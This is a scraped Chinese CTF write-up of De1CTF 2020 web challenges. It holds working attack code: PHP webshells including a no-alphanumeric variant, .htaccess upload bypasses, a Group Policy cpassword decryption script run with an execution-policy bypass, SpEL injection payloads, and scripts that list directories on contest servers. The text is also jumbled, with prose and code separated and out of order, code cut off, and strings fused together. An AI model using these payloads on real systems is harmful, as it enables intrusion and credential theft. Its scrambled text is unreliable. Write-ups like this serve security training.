De1CTF 2020 部分web
2021-03-12 04:30
标签:load The alpha ever sed 表达 system img 版本 人在天台,感觉良好 考点:配置文件上传 相比之下最友好的一题了emmm 考虑上传htaccess,由于不能有ph,故用换行拼接: 相当于 .htaccess solve.sh 考点:无字母数字shell,内网渗透 源码如下 后缀不能为php,并且文件内容有匹配 这里由于是/i的正则,不区分大小写,然后无字母数字shell的话主要参考: 原理就是利用了array取值,然后逐次++,直到拼接到POST 首先在每个域内都有一个共享的文件夹SYSVOL,路径为: ipconfig/all 可以查看当前主机的域为De1CTF2020.lab 建一个ps1文件,然后: spring框架,emm不太熟悉javaweb 然后就硬测,肝了我好久,测了很多种表达式注入payload,不过过滤比较严格,像是 而网上大多数都是这种,基本都凉凉 不过这篇文章给的payload还是比较全的,可以看一下: 然后呢,其实这题可以直接新建对象读文件,我....**** new可以用大写绕过,然后直接用这个BufferedReader和FileReader读文件 题目描述:Docker image is php:7.4.2-apache 源码很简单,由于版本比较高,不能用assert来连shell,然后看一下phpinfo禁用的函数 后来想到可以用session_start然后写入sess进行包含 成功写入 De1CTF 2020 部分web 标签:load The alpha ever sed 表达 system img 版本 原文地址:https://www.cnblogs.com/W4nder/p/12829102.htmlcheck in
主要还是过滤了ph和>,然后是黑名单Addtype application/x-httpd-php .jpg
一开始多加了个空格导致没正确解析
然后图片马用短标签来绕过:=eval($_POST[0]);
后来出题人说预期解是htaccess可以启用cgi,来执行bash脚本,如下:Options +ExecCGI
AddHandler cgi-script .sh
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /flag
exit 0
Hard_Pentest_1
0){
die($_FILES["file"]["error"]);
}
else{
$filename=md5($_SERVER[‘REMOTE_ADDR‘])."_".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "save in:" . $sandbox."/" . $filename;
}
}
else{
echo "Not Allow!";
}
}
function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);
if(!preg_match(‘/[a-z0-9;~^`&|]/is‘,$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match(‘/\.\./‘,$_FILES["file"]["name"])) {
return true;
}
return false;
}
?>
/[a-z0-9;~^&|]/is
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
不过这里过滤了分号,还是可以用短标签来绕过,如下:=$_=[]?>=$_=@"$_"?>=$_=$_[‘!‘==‘@‘]?>=$___=$_?>=$__=$_?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$___.=$__?>= $___.=$__?>=$__=$_?>=$__++?>=$__++?>=$__++?>=$__++?>=$___.=$__?>=$__=$_?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$___.=$__?>=$__=$_?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$___.=$__?>=$____=‘_‘?>=$__=$_?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$____.=$__?>=$__=$_?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$____.=$__?>=$__=$_?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$____.=$__?>=$__=$_?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$__++?>=$____.=$__?>=$_=$$____?>=$_[__]($_[_],$_[___])?>
上传之后需要写shell:__=file_put_contents&_=2.php&___=
连上蚁剑后发现是windows系统
然后需要渗透,啊这......完全的薄弱项,只发现了一个flaghint压缩包:
其实应该是net use命令找到的hint,然后进入//192.168.0.12/hint/
总之这个压缩包需要密码,在@Pdsdt师傅帮助下看了篇文章,是关于利用SYSVOL还原组策略中保存的密码的
https://3gstudent.github.io/3gstudent.github.io/\\
,所有域内主机都能访问,里面保存组策略相关数据
进入共享文件夹:
然后需要找到相应的策略组id的配置文件,如下是配置文件Groups.xml
其中cpassword为AES加密的密码,有现成的脚本,改一下密码即可function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
‘1‘ {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
‘2‘ {$Cpassword += (‘=‘ * (4 - $Mod))}
‘3‘ {$Cpassword += (‘=‘ * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08"
powershell -executionpolicy bypass -file 1.ps1
得到密码zL1PpP@sSwO3dcalc
跟到http://106.52.164.141/spel/calc?calc=T()、java.lang、Runtime、getClass、toString、new
等java.lang.Runtime.getRuntime().exec("calc")
java表达式注入(NEW java.io.BufferedReader(NEW java.io.FileReader("/flag"))).readLine()
java还是顶Easy PHP UAF(unsolved)
其实过滤的没那么严吧,然后里面过滤了scandir,可以考虑用glob://然后用next索引挨个列目录,脚本如下:import requests
n=‘$it->next();‘
p=‘printf("%s: %.1FK
", $it->getFilename(), $it->getSize()/1024);‘
for i in range(1,20):
url=‘http://129.204.185.9:8848/?c=$it = new DirectoryIterator("glob:///*");‘
url=url+n*(i-1)+p
#print(url)
print(requests.get(url).text)
然后想找别人留下的马骑的2333,可惜没找到,import requests
n=‘$it->next();‘
p=‘printf("%s: %.1FK
", $it->getFilename(), $it->getSize()/1024);‘
for i in range(1,10):
url=‘http://129.204.185.9:8848/?c=session_start();$_SESSION["b"]="|N;";$it = new DirectoryIterator("glob:///tmp/*");‘
url=url+n*(i-1)+p
#print(url)
print(requests.get(url).text)
也能命令执行,不过这个session很快就会没
但是就是连不上蚁剑,唉,卡在这了